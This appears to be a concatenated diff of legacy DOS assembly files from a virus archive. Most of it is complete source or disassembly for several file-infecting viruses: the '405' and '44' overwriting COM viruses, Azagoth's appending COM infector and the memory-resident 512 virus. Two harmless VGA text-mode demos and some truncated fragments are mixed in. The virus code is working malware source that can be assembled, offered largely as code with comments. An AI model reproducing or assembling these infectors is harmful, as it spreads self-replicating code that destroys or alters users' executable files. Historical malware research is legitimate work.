db 00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00
db 00,00,00,00,00,00,00,00,00,00
l_drvs:
db 00 ;how many logical drives on system
f_name:
db "*.COM"
db 0h
l0292:
db 2ah,00h
l0293:
db 0e9h,00h
l0295:
db 00h
l0297:

@@ -0,0 +1,206 @@
title The '405' virus
page 65,132
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º British Computer Virus Research Centre º
; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
; º Telephone: Domestic 0273-26105, International +44-273-26105 º
; º º
; º The '405' Virus º
; º Disassembled by Joe Hirst, March 1989 º
; º º
; º Copyright (c) Joe Hirst 1989. º
; º º
; º This listing is only to be made available to virus researchers º
; º or software writers on a need-to-know basis. º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
; The virus overwrites the first 405 bytes of a COM file. If the
; length of the COM file is less than this, the length is increased
; to 405 bytes.
; The disassembly has been tested by re-assembly using MASM 5.0.
BUFFER SEGMENT AT 0
ORG 295H
DW0295 DW ?
DB0297 DB ?
ORG 0E000H
DWE000 DW ? ; Read buffer area
ORG 0E195H
DWE195 DW ? ; Program after virus
BUFFER ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:NOTHING,ES:BUFFER
VIRLEN EQU OFFSET ENDADR-START
ORG 100H
START: XCHG SI,AX
ADD [BX+SI],AL
SAHF
ADD [BX+SI],AL
NOP
MOV AX,0 ; Clear register
MOV ES:DB0249,AL ; Set current disk to default
MOV ES:DB024B,AL ; Set pathname store to zero
MOV ES:DB028B,AL ; Set number of drives to zero
PUSH AX
MOV AH,19H ; Get current disk function
INT 21H ; DOS service
MOV ES:DB0249,AL ; Save current disk
MOV AH,47H ; Get current directory function
ADD AL,1 ; Next drive (A)
PUSH AX
MOV DL,AL ; Drive A
LEA SI,DB024B ; Pathname store
INT 21H ; DOS service
POP AX
MOV AH,0EH ; Select disk function
SUB AL,1 ; Convert drive for select function
MOV DL,AL ; Move drive
INT 21H ; DOS service
MOV ES:DB028B,AL ; Save number of drives
BP0139: MOV AL,ES:DB0249 ; Get current disk
CMP AL,0 ; Is drive A?
JNZ BP0152 ; Branch if not
MOV AH,0EH ; Select disk function
MOV DL,2 ; Change drive to B
INT 21H ; DOS service
MOV AH,19H ; Get current disk function
INT 21H ; DOS service
MOV ES:DB024A,AL ; Save new current drive
JMP BP0179
BP0152: CMP AL,1 ; Is drive B?
JNZ BP0167 ; Branch if not
MOV AH,0EH ; Select disk function
MOV DL,2 ; Change drive to C
INT 21H ; DOS service
MOV AH,19H ; Get current disk function
INT 21H ; DOS service
MOV ES:DB024A,AL ; Save new current drive
JMP BP0179
BP0167: CMP AL,2 ; Is drive C?
JNZ BP0179 ; Branch if not
MOV AH,0EH ; Select disk function
MOV DL,0 ; Change drive to A
INT 21H ; DOS service
MOV AH,19H ; Get current disk function
INT 21H ; DOS service
MOV ES:DB024A,AL ; Save new current drive
BP0179: MOV AH,4EH ; Find first file function
MOV CX,1 ; Find read-only files, not system
LEA DX,DB028C ; Path '*.COM'
INT 21H ; DOS service
JB BP0189 ; Branch if error
JMP BP01A9 ; Process COM file
BP0189: MOV AH,3BH ; Change current directory function
LEA DX,DB0297 ; Directory pathname (this is past the end)
INT 21H ; DOS service
MOV AH,4EH ; Find first file function
MOV CX,0011H ; Find directory and read-only
LEA DX,DB0292 ; Path '*'
INT 21H ; DOS service
JB BP0139 ; Branch if error
JMP BP0179 ; Find a COM file
BP01A0: MOV AH,4FH ; Find next file function
INT 21H ; DOS service
JB BP0189 ; Branch if error
JMP BP01A9 ; Process COM file
; Process COM file
BP01A9: MOV AH,3DH ; Open handle function
MOV AL,2 ; R/W access
MOV DX,009EH ; File pathname
INT 21H ; DOS service
MOV BX,AX ; Move handle
MOV AH,3FH ; Read handle function
MOV CX,VIRLEN ; Length of virus
NOP
MOV DX,OFFSET DWE000 ; Read it in way down there
NOP
INT 21H ; DOS service
MOV AH,3EH ; Close handle function
INT 21H ; DOS service
MOV BX,DWE000 ; Get first word of COM file
CMP BX,9600H ; Is it infected? (should be 0096H)
JZ BP01A0 ; Yes, find another one
MOV AH,43H ; \ Get file attributes function
MOV AL,0 ; /
MOV DX,009EH ; File pathname
INT 21H ; DOS service
MOV AH,43H ; \ Set file attributes function
MOV AL,1 ; /
AND CX,00FEH ; Set off read only attribute
INT 21H ; DOS service
MOV AH,3DH ; Open handle function
MOV AL,2 ; R/W mode
MOV DX,009EH ; File pathname
INT 21H ; DOS service
MOV BX,AX ; Move handle
MOV AH,57H ; \ Get file date & time function
MOV AL,0 ; /
INT 21H ; DOS service
PUSH CX
PUSH DX
ASSUME ES:NOTHING
MOV DX,CS:DW0295 ; Get word after virus here
MOV CS:DWE195,DX ; Move to same position in prog
MOV DX,CS:DWE000+1 ; Get displacement from initial jump
LEA CX,DB0294-100H ; Length of virus minus one
SUB DX,CX
MOV CS:DW0295,DX ; Store in word after virus
MOV AH,40H ; Write handle function
MOV CX,VIRLEN ; Length of virus
NOP
LEA DX,START ; Beginning of virus
INT 21H ; DOS service
MOV AH,57H ; \ Set file date & time function
MOV AL,1 ; /
POP DX
POP CX
INT 21H ; DOS service
MOV AH,3EH ; Close handle function
INT 21H ; DOS service
MOV DX,CS:DWE195 ; Get word after virus
MOV CS:DW0295,DX ; Move to same position here
JMP BP0234
BP0234: MOV AH,0EH ; Select disk function
MOV DL,CS:DB0249 ; Get current disk
INT 21H ; DOS service
MOV AH,3BH ; Change current directory function
LEA DX,DB024A ; Address of path - this is incorrect
INT 21H ; DOS service
MOV AH,0 ; Terminate program function
INT 21H ; DOS service
DB0249 DB 2 ; Current disk
DB024A DB 0 ; New current drive
; There should be an extra byte at this point containing '\'
; for use by the change directory function - this is why that
; function is pointing at the previous field
DB024B DB 'TEST', 3CH DUP (0)
DB028B DB 0DH ; Number of drives
DB028C DB '*.COM', 0
DB0292 DB '*', 0
DB0294 DB 0E9H
ENDADR EQU $
CODE ENDS
END START

File diff suppressed because it is too large Load Diff
@@ -0,0 +1,37 @@
; Basic little bitty program for people learning about the different modes
; you can stick on your monitor. This program will put you into 80*50 on a
; VGA monitor, and should be 80*43 on an EGA monitor (I dunno, haven't tested
; it.) Anyways, I tried to comment it so someone not knowing asm would be
; able to understand it.
;
; Coded by The Crypt Keeper/Kevin Marcus
; You may feel free to do absolutely anything to this code, so long as it is
; not distributed in a modified state. (Incorporate it in your programs, I
; don't care. Just do not change >THIS< program.)
;
; The Programmer's Paradise. (619)/457-1836
IDEAL ; Ideal Mode in TASM is t0tallie /< rad man.
DOSSEG ; Standard Segment shit.
MODEL tiny ; What model are we in?!
DATASEG ; Data Segment starts here, man.
exitcode db 0 ; 'exitcode' be zer0, man.
CODESEG ; Code Segment starts here, dude.
org 100h
Start:
mov ax,0003h ; stick 3 into ax.
int 10h ; Set up 80*25, text mode. Clear the screen, too.
mov ax,1201h ; Woah!
mov bl,30h
int 10h ; Lets get ready for 80*43 on VGA man.
mov ax,1112h ; We are gunna use the 8*8 internal font, man.
int 10h ; Hey man, call the interrupt.
Exit:
mov ah,4ch ; Lets ditch.
mov al,[exitcode] ; Make al 0. Why not xor!? Suck a ____.
int 21h ; "Make it so."
END Start ; No more program.
@@ -0,0 +1,99 @@
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;******************************************************************************
;* 44-virus version 1.0
;*
;* Assemble with Tasm 1.01
;*
;* The 44 virus is a non-resident overwriting virus with a lenght
;* of 44 bytes. It will infect all files with the extension .C*
;* in the current directory.
;*
;* (c) 1991 Dark Helmet
;*
;* The author is not responsible for any damage caused by the virus
;*
;******************************************************************************
virus segment
org 100h
assume cs:virus
len equ offset last-100h
start: mov ah,04eh ; Search first file with extension .c*
xor cx,cx ; Only normal files
lea dx,com_mask ;
int 21h
open_file: mov ax,3d02h ; open file for read/write
mov dx,9eh
int 21h
Infect: mov cx,len ; Write virus to start of file
lea dx,start
mov ah,40h
int 21h
Next: mov ah,3eh ; Close file
int 21h
mov ah,4fh ; Search next file
int 21h
jnb open_file ; Are there any files left?
com_mask: db "*.c*",0 ; mask
last: db 090h
virus ends
end start
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
@@ -0,0 +1,257 @@
; virus from ALT-11 mag
; ---------------------------------------
;
; Coded by: Azagoth
; ---------------------------------------
; Assemble using Turbo Assembler:
; tasm /m2 <filename>.asm
; tlink /t <filename>.obj
; ---------------------------------------------------------------------------
; - Non-Overwriting .COM infector (excluding COMMAND.COM)
; - COM growth: XXX bytes
; - It searches the current directory for uninfected files. If none are
; found, it searches previous directory until it reaches root and no more
; uninfected files are found. (One infection per run)
; - Also infects read-only files
; - Restores attributes, initial date/time-stamps, and original path.
; ---------------------------------------------------------------------------
.model tiny
.code
org 100h ; adjust for psp
start:
call get_disp ; push ip onto stack
get_disp:
pop bp ; bp holds current ip
sub bp, offset get_disp ; bp = code displacement
; original label offset is stored in machine code
; so new (ip) - original = displacement of code
save_path:
mov ah, 47h ; save cwd
xor dl, dl ; 0 = default drive
lea si, [bp + org_path]
int 21h
get_dta:
mov ah, 2fh
int 21h
mov [bp + old_dta_off], bx ; save old dta offset
set_dta: ; point to dta record
mov ah, 1ah
lea dx, [bp + dta_filler]
int 21h
search:
mov ah, 4eh ; find first file
mov cx, [bp + search_attrib] ; if successful dta is
lea dx, [bp + search_mask] ; created
int 21h
jnc clear_attrib ; if found, continue
find_next:
mov ah, 4fh ; find next file
int 21h
jnc clear_attrib
still_searching:
mov ah, 3bh
lea dx, [bp + previous_dir] ; cd ..
int 21h
jnc search
jmp bomb ; at root, no more files
clear_attrib:
mov ax, 4301h
xor cx, cx ; get rid of attributes
lea dx, [bp + dta_file_name]
int 21h
open_file:
mov ax, 3D02h ; AL=2 read/write
lea dx, [bp + dta_file_name]
int 21h
xchg bx, ax ; save file handle
; bx won't change from now on
check_if_command_com:
cld
lea di, [bp + com_com]
lea si, [bp + dta_file_name]
mov cx, 11 ; length of 'COMMAND.COM'
repe cmpsb ; repeat while equal
jne check_if_infected
jmp close_file
check_if_infected:
mov dx, word ptr [bp + dta_file_size] ; only use first word since
; COM file
sub dx, 2 ; file size - 2
mov ax, 4200h
mov cx, 0 ; cx:dx ptr to offset from
int 21h ; origin of move
mov ah, 3fh ; read last 2 characters
mov cx, 2
lea dx, [bp + last_chars]
int 21h
mov ah, [bp + last_chars]
cmp ah, [bp + virus_id]
jne save_3_bytes
mov ah, [bp + last_chars + 1]
cmp ah, [bp + virus_id + 1]
jne save_3_bytes
jmp close_file
save_3_bytes:
mov ax, 4200h ; 00=start of file
xor cx, cx
xor dx, dx
int 21h
mov ah, 3Fh
mov cx, 3
lea dx, [bp + _3_bytes]
int 21h
goto_eof:
mov ax, 4202h ; 02=End of file
xor cx, cx ; offset from origin of move
xor dx, dx ; (i.e. nowhere)
int 21h ; ax holds file size
; since it is a COM file, overflow will not occur
save_jmp_displacement:
sub ax, 3 ; file size - 3 = jmp disp.
mov [bp + jmp_disp], ax
write_code:
mov ah, 40h
mov cx, virus_length ;*** equate
lea dx, [bp + start]
int 21h
goto_bof:
mov ax, 4200h
xor cx, cx
xor dx, dx
int 21h
write_jmp: ; to file
mov ah, 40h
mov cx, 3
lea dx, [bp + jmp_code]
int 21h
inc [bp + infections]
restore_date_time:
mov ax, 5701h
mov cx, [bp + dta_file_time]
mov dx, [bp + dta_file_date]
int 21h
close_file:
mov ah, 3eh
int 21h
restore_attrib:
xor ch, ch
mov cl, [bp + dta_file_attrib] ; restore original attributes
mov ax, 4301h
lea dx, [bp + dta_file_name]
int 21h
done_infecting?:
mov ah, [bp + infections]
cmp ah, [bp + max_infections]
jz bomb
jmp find_next
bomb:
; cmp bp, 0
; je restore_path ; original run
;
;---- Stuff deleted
restore_path:
mov ah, 3bh ; when path stored
lea dx, [bp + root] ; '\' not included
int 21h
mov ah, 3bh ; cd to original path
lea dx, [bp + org_path]
int 21h
restore_dta:
mov ah, 1ah
mov dx, [bp + old_dta_off]
int 21h
restore_3_bytes: ; in memory
lea si, [bp + _3_bytes]
mov di, 100h
cld ; auto-inc si, di
mov cx, 3
rep movsb
return_control_or_exit?:
cmp bp, 0 ; bp = 0 if original run
je exit
mov di, 100h ; return control back to prog
jmp di ; -> cs:100h
exit:
mov ax, 4c00h
int 21h
;-------- Variable Declarations --------
old_dta_off dw 0 ; offset of old dta address
;-------- dta record
dta_filler db 21 dup (0)
dta_file_attrib db 0
dta_file_time dw 0
dta_file_date dw 0
dta_file_size dd 0
dta_file_name db 13 dup (0)
;--------
search_mask db '*.COM',0 ; files to infect: *.COM
search_attrib dw 00100111b ; all files a,s,h,r
com_com db 'COMMAND.COM'
previous_dir db '..',0
root db '\',0
org_path db 64 dup (0) ; original path
infections db 0 ; counter
max_infections db 1
_3_bytes db 0, 0, 0
jmp_code db 0E9h
jmp_disp dw 0
last_chars db 0, 0 ; do last chars = ID ?
virus_id db 'AZ'
eov: ; end of virus
virus_length equ offset eov - offset start
end start

@@ -0,0 +1,33 @@
; Basic little bitty program for people learning about the different modes
; you can stick on your monitor. This program will put you into 80*50 on a
; VGA monitor, and should be 80*43 on an EGA monitor (I dunno, haven't tested
; it.) Anyways, I tried to comment it so someone not knowing asm would be
; able to understand it.
;
; Coded by The Crypt Keeper/Kevin Marcus
; You may feel free to do absolutely anything to this code, so long as it is
; not distributed in a modified state. (Incorporate it in your programs, I
; don't care. Just do not change >THIS< program.)
;
; The Programmer's Paradise. (619)/457-1836
IDEAL ; Ideal Mode in TASM is t0tallie /< rad man.
DOSSEG ; Standard Segment shit.
MODEL tiny ; What model are we in?!
DATASEG ; Data Segment starts here, man.
exitcode db 0 ; 'exitcode' be zer0, man.
CODESEG ; Code Segment starts here, dude.
org 100h
Start:
mov ax,0003h ; stick 3 into ax.
int 10h ; Set up 80*25, text mode. Clear the screen, too.
mov ax,1112h ; We are gunna use the 8*8 internal font, man.
int 10h ; Hey man, call the interrupt.
Exit:
mov ah,4ch ; Lets ditch.
mov al,[exitcode] ; Make al 0. Why not xor!? Suck a ____.
int 21h ; "Make it so."
END Start ; No more program.
@@ -0,0 +1,304 @@
;NAME: 512-X.C-M
;FILE SIZE: 00200h - 512d
;START (CS:IP): 00100h
;CODE END: 00300h
;CODE ORIGIN: 00100h
;DATE: Wed Aug 05 13:56:29 1992
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:CODE,ES:NOTHING,SS:NOTHING
P00100 PROC
ORG 0100h
H00100: MOV AH,30h ;00100 B430 _0
INT 21h ;2-DOS_Ver ;00102 CD21 _!
MOV SI,0004h ;00104 BE0400 ___
MOV DS,SI ;DS_Chg ;00107 8EDE __
CMP AH,1Eh ;00109 80FC1E ___
LDS AX,[SI+08h] ;0010C C54408 _D_
JB H0011B ;0010F 720A r_
MOV AH,13h ;00111 B413 __
INT 2Fh ;3-Prt_Splr_Ctrl ;00113 CD2F _/
PUSH DS ;00115 1E _
PUSH DX ;00116 52 R
INT 2Fh ;3-Prt_Splr_Ctrl ;00117 CD2F _/
POP AX ;00119 58 X
POP DS ;0011A 1F _
H0011B: MOV DI,00F8h ;0011B BFF800 ___
STOSW ;0011E AB _
MOV AX,DS ;0011F 8CD8 __
STOSW ;00121 AB _
MOV DS,SI ;DS_Chg ;00122 8EDE __
LDS AX,[SI+40h] ;00124 C54440 _D@
STOSW ;00127 AB _
CMP AX,0121h ;00128 3D2101 =!_
MOV AX,DS ;0012B 8CD8 __
STOSW ;0012D AB _
PUSH ES ;0012E 06 _
PUSH DI ;0012F 57 W
JNZ H00139 ;00130 7507 u_
SHL SI,1 ;00132 D1E6 __
MOV CX,0100h ;00134 B90001 ___
REPZ CMPSW ;00137 F3A7 __
H00139: PUSH CS ;00139 0E _
POP DS ;0013A 1F _
JZ H00187 ;0013B 744A tJ
MOV AH,52h ;0013D B452 _R
INT 21h ;2-Rsvd_INT:21h-52h ;0013F CD21 _!
PUSH ES ;00141 06 _
MOV SI,00F8h ;00142 BEF800 ___
SUB DI,DI ;00145 2BFF +_
LES AX,ES:[BX+12h] ;ES_Ovrd ;00147 26C44712 &_G_
MOV DX,ES:[DI+02h] ;ES_Ovrd ;0014B 268B5502 &_U_
MOV CX,0104h ;0014F B90401 ___
REPZ MOVSW ;00152 F3A5 __
MOV DS,CX ;DS_Chg ;00154 8ED9 __
MOV DI,0016h ;00156 BF1600 ___
MOV Word Ptr [DI+6Eh],0121h ;00159 C7456E2101 _En!_
MOV [DI+70h],ES ;0015E 8C4570 _Ep
POP DS ;00161 1F _
MOV [BX+14h],DX ;00162 895714 _W_
MOV DX,CS ;00165 8CCA __
MOV DS,DX ;DS_Chg ;00167 8EDA __
MOV BX,[DI-14h] ;00169 8B5DEC _]_
DEC BH ;0016C FECF __
MOV ES,BX ;ES_Chg ;0016E 8EC3 __
CMP DX,[DI] ;00170 3B15 ;_
MOV DS,[DI] ;DS_Chg ;00172 8E1D __
MOV DX,[DI] ;00174 8B15 __
DEC DX ;00176 4A J
MOV DS,DX ;DS_Chg ;00177 8EDA __
MOV SI,CX ;00179 8BF1 __
MOV DX,DI ;0017B 8BD7 __
MOV CL,28h ;0017D B128 _(
REPZ MOVSW ;0017F F3A5 __
MOV DS,BX ;DS_Chg ;00181 8EDB __
JB H00197 ;00183 7212 r_
INT 20h ;B-TERM_norm:20h ;00185 CD20 _
;---------------------------------------------------
H00187: MOV SI,CX ;00187 8BF1 __
MOV DS,[SI+2Ch] ;DS_Chg ;00189 8E5C2C _\,
LODSW ;0018C AD _
DEC SI ;0018D 4E N
TEST AX,AX ;0018E 85C0 __
JNZ H0018C ;00190 75FA u_
ADD SI,+03h ;00192 83C603 ___
MOV DX,SI ;00195 8BD6 __
H00197: MOV AH,3Dh ;00197 B43D _=
CALL H001B0 ; . . . . . . . . . ;00199 E81400 ___
MOV DX,[DI] ;0019C 8B15 __
MOV [DI+04h],DX ;0019E 895504 _U_
ADD [DI],CX ;001A1 010D __
POP DX ;001A3 5A Z
PUSH DX ;001A4 52 R
PUSH CS ;001A5 0E _
POP ES ;001A6 07 _
PUSH CS ;001A7 0E _
POP DS ;001A8 1F _
PUSH DS ;001A9 1E _
MOV AL,50h ;001AA B050 _P
PUSH AX ;001AC 50 P
MOV AH,3Fh ;001AD B43F _?
RET ;RET_Far ;001AF CB _
;---------------------------------------------------
H001B0: INT 21h ;Indef_INT:21h-AH ;001B0 CD21 _!
JB H001CD ;001B2 7219 r_
MOV BX,AX ;001B4 8BD8 __
PUSH BX ;001B6 53 S
MOV AX,1220h ;001B7 B82012 _ _
INT 2Fh ;3-Prt_Splr_Ctrl ;001BA CD2F _/
MOV BL,ES:[DI] ;ES_Ovrd ;001BC 268A1D &__
MOV AX,1216h ;001BF B81612 ___
INT 2Fh ;3-Prt_Splr_Ctrl ;001C2 CD2F _/
POP BX ;001C4 5B [
PUSH ES ;001C5 06 _
POP DS ;001C6 1F _
ADD DI,+11h ;001C7 83C711 ___
MOV CX,0200h ;001CA B90002 ___
H001CD: RET ;RET_Near ;001CD C3 _
;---------------------------------------------------
STI ;001CE FB _
PUSH ES ;001CF 06 _
PUSH SI ;001D0 56 V
PUSH DI ;001D1 57 W
PUSH BP ;001D2 55 U
PUSH DS ;001D3 1E _
PUSH CX ;001D4 51 Q
CALL H001B6 ; . . . . . . . . . ;001D5 E8DEFF ___
MOV BP,CX ;001D8 8BE9 __
MOV SI,[DI+04h] ;001DA 8B7504 _u_
POP CX ;001DD 59 Y
POP DS ;001DE 1F _
CALL H00211 ; . . . . . . . . . ;001DF E82F00 _/_
JB H0020A ;001E2 7226 r&
CMP SI,BP ;001E4 3BF5 ;_
JNB H0020A ;001E6 7322 s"
PUSH AX ;001E8 50 P
MOV AL,ES:[DI-04h] ;ES_Ovrd ;001E9 268A45FC &_E_
NOT AL ;001ED F6D0 __
AND AL,1Fh ;001EF 241F $_
JNZ H00209 ;001F1 7516 u_
ADD SI,ES:[DI] ;ES_Ovrd ;001F3 260335 &_5
XCHG SI,ES:[DI+04h] ;ES_Ovrd ;001F6 26877504 &_u_
ADD ES:[DI],BP ;ES_Ovrd ;001FA 26012D &_-
CALL H00211 ; . . . . . . . . . ;001FD E81100 ___
MOV ES:[DI+04h],SI ;ES_Ovrd ;00200 26897504 &_u_
LAHF ;00204 9F _
SUB ES:[DI],BP ;ES_Ovrd ;00205 26292D &)-
SAHF ;00208 9E _
H00209: POP AX ;00209 58 X
H0020A: POP BP ;0020A 5D ]
POP DI ;0020B 5F _
POP SI ;0020C 5E ^
POP ES ;0020D 07 _
RET 0002h ;RET_Far:0002h ;0020E CA0200 ___
;---------------------------------------------------
H00211: MOV AH,3Fh ;00211 B43F _?
PUSHF ;00213 9C _
PUSH CS ;00214 0E _
CALL H0023A ; . . . . . . . . . ;00215 E82200 _"_
RET ;RET_Near ;00218 C3 _
;---------------------------------------------------
CMP AH,3Fh ;00219 80FC3F __?
JZ H001CE ;0021C 74B0 t_
PUSH DS ;0021E 1E _
PUSH ES ;0021F 06 _
PUSH AX ;00220 50 P
PUSH BX ;00221 53 S
PUSH CX ;00222 51 Q
PUSH DX ;00223 52 R
PUSH SI ;00224 56 V
PUSH DI ;00225 57 W
CMP AH,3Eh ;00226 80FC3E __>
JZ H0023F ;00229 7414 t_
CMP AX,4B00h ;0022B 3D004B =_K
MOV AH,3Dh ;0022E B43D _=
JZ H00241 ;00230 740F t_
POP DI ;00232 5F _
POP SI ;00233 5E ^
POP DX ;00234 5A Z
POP CX ;00235 59 Y
POP BX ;00236 5B [
POP AX ;00237 58 X
POP ES ;00238 07 _
POP DS ;00239 1F _
H0023A: JMP Word Ptr CS:[0004h]
;Mem_Brch:CS:[0004h];0023A 2EFF2E0400 ._.__
;---------------------------------------------------
H0023F: MOV AH,45h ;0023F B445 _E
H00241: CALL H001B0 ; . . . . . . . . . ;00241 E86CFF _l_
JB H00232 ;00244 72EC r_
SUB AX,AX ;00246 2BC0 +_
MOV [DI+04h],AX ;00248 894504 _E_
MOV Byte Ptr [DI-0Fh],02h ;0024B C645F102 _E__
CLD ;0024F FC _
MOV DS,AX ;DS_Chg ;00250 8ED8 __
MOV SI,004Ch ;00252 BE4C00 _L_
LODSW ;00255 AD _
PUSH AX ;00256 50 P
LODSW ;00257 AD _
PUSH AX ;00258 50 P
PUSH [SI+40h] ;00259 FF7440 _t@
PUSH [SI+42h] ;0025C FF7442 _tB
LDS DX,CS:[SI-50h] ;CS_Ovrd ;0025F 2EC554B0 ._T_
MOV AX,2513h ;00263 B81325 __%
INT 21h ;1-Set_Int_Vctr ;00266 CD21 _!
PUSH CS ;00268 0E _
POP DS ;00269 1F _
MOV DX,0204h ;0026A BA0402 ___
MOV AL,24h ;0026D B024 _$
INT 21h ;Indef_INT:21h-25h ;0026F CD21 _!
PUSH ES ;00271 06 _
POP DS ;00272 1F _
MOV AL,[DI-04h] ;00273 8A45FC _E_
AND AL,1Fh ;00276 241F $_
CMP AL,1Fh ;00278 3C1F <_
JZ H00284 ;0027A 7408 t_
MOV AX,[DI+17h] ;0027C 8B4517 _E_
SUB AX,4F43h ;0027F 2D434F -CO
JNZ H002C3 ;00282 753F u?
H00284: XOR [DI-04h],AL ;00284 3045FC 0E_
MOV AX,[DI] ;00287 8B05 __
CMP AX,CX ;00289 3BC1 ;_
;---------------------------------------------------
DB "r6" ;0028B 7236
;---------------------------------------------------
ADD AX,CX ;0028D 03C1 __
JB H002C3 ;0028F 7232 r2
TEST Byte Ptr [DI-0Dh],04h ;00291 F645F304 _E__
JNZ H002C3 ;00295 752C u,
LDS SI,[DI-0Ah] ;00297 C575F6 _u_
DEC AX ;0029A 48 H
SHR AH,1 ;0029B D0EC __
AND AH,[SI+04h] ;0029D 226404 "d_
JZ H002C3 ;002A0 7421 t!
MOV AX,0020h ;002A2 B82000 _ _
MOV DS,AX ;DS_Chg ;002A5 8ED8 __
SUB DX,DX ;002A7 2BD2 +_
CALL H00211 ; . . . . . . . . . ;002A9 E865FF _e_
MOV SI,DX ;002AC 8BF2 __
PUSH CX ;002AE 51 Q
LODSB ;002AF AC _
CMP AL,CS:[SI+07h] ;CS_Ovrd ;002B0 2E3A4407 .:D_
JNZ H002DD ;002B4 7527 u'
LOOP H002AF ;002B6 E2F7 __
POP CX ;002B8 59 Y
OR Byte Ptr ES:[DI-04h],1Fh
;ES_Ovrd ;002B9 26804DFC1F &_M__
OR Byte Ptr ES:[DI-0Bh],40h
;ES_Ovrd ;002BE 26804DF540 &_M_@
H002C3: MOV AH,3Eh ;002C3 B43E _>
CALL H00213 ; . . . . . . . . . ;002C5 E84BFF _K_
OR Byte Ptr ES:[DI-0Ch],40h
;ES_Ovrd ;002C8 26804DF440 &_M_@
POP DS ;002CD 1F _
POP DX ;002CE 5A Z
MOV AX,2524h ;002CF B82425 _$%
INT 21h ;1-Set_Int_Vctr ;002D2 CD21 _!
POP DS ;002D4 1F _
POP DX ;002D5 5A Z
MOV AL,13h ;002D6 B013 __
INT 21h ;Indef_INT:21h-25h ;002D8 CD21 _!
JMP H00232 ;002DA E955FF _U_
;---------------------------------------------------
H002DD: POP CX ;002DD 59 Y
MOV SI,ES:[DI] ;ES_Ovrd ;002DE 268B35 &_5
MOV ES:[DI+04h],SI ;ES_Ovrd ;002E1 26897504 &_u_
MOV AH,40h ;002E5 B440 _@
INT 21h ;2-Wr_Fl_Hdl ;002E7 CD21 _!
JB H002BE ;002E9 72D3 r_
MOV ES:[DI],SI ;ES_Ovrd ;002EB 268935 &_5
MOV ES:[DI+04h],DX ;ES_Ovrd ;002EE 26895504 &_U_
PUSH CS ;002F2 0E _
POP DS ;002F3 1F _
MOV DL,08h ;002F4 B208 __
MOV AH,40h ;002F6 B440 _@
INT 21h ;2-Wr_Fl_Hdl ;002F8 CD21 _!
JMP Short H002B9 ;002FA EBBD __
;---------------------------------------------------
IRET ;002FC CF _
;---------------------------------------------------
DB "666" ;002FD 363636
;---------------------------------------------------
P00100 ENDP
CODE ENDS
END H00100
;-------------------------------------------------------------------------------
INT 2F - Multiplex - DOS 3.3+ - SET DISK INTERRUPT HANDLER
AH = 13h
DS:DX -> interrupt handler disk driver calls on read/write
ES:BX = address to restore INT 13 to on system halt (exit from root
shell)
Return: DS:DX from previous invocation of this function
ES:BX from previous invocation of this function
Notes: most DOS 3.3+ disk access is via the vector in DS:DX, although a few
functions are still invoked via an INT 13 instruction
this is a dangerous security loophole for any virus-monitoring software
which does not trap this call (at least two viruses are known to use
it to get the original ROM entry point)
@@ -0,0 +1,269 @@
;PROGRAM NAME: 512.com
;-------------------------------------------------
H00100: MOV AH,30h
INT 21h ;DOS Version#
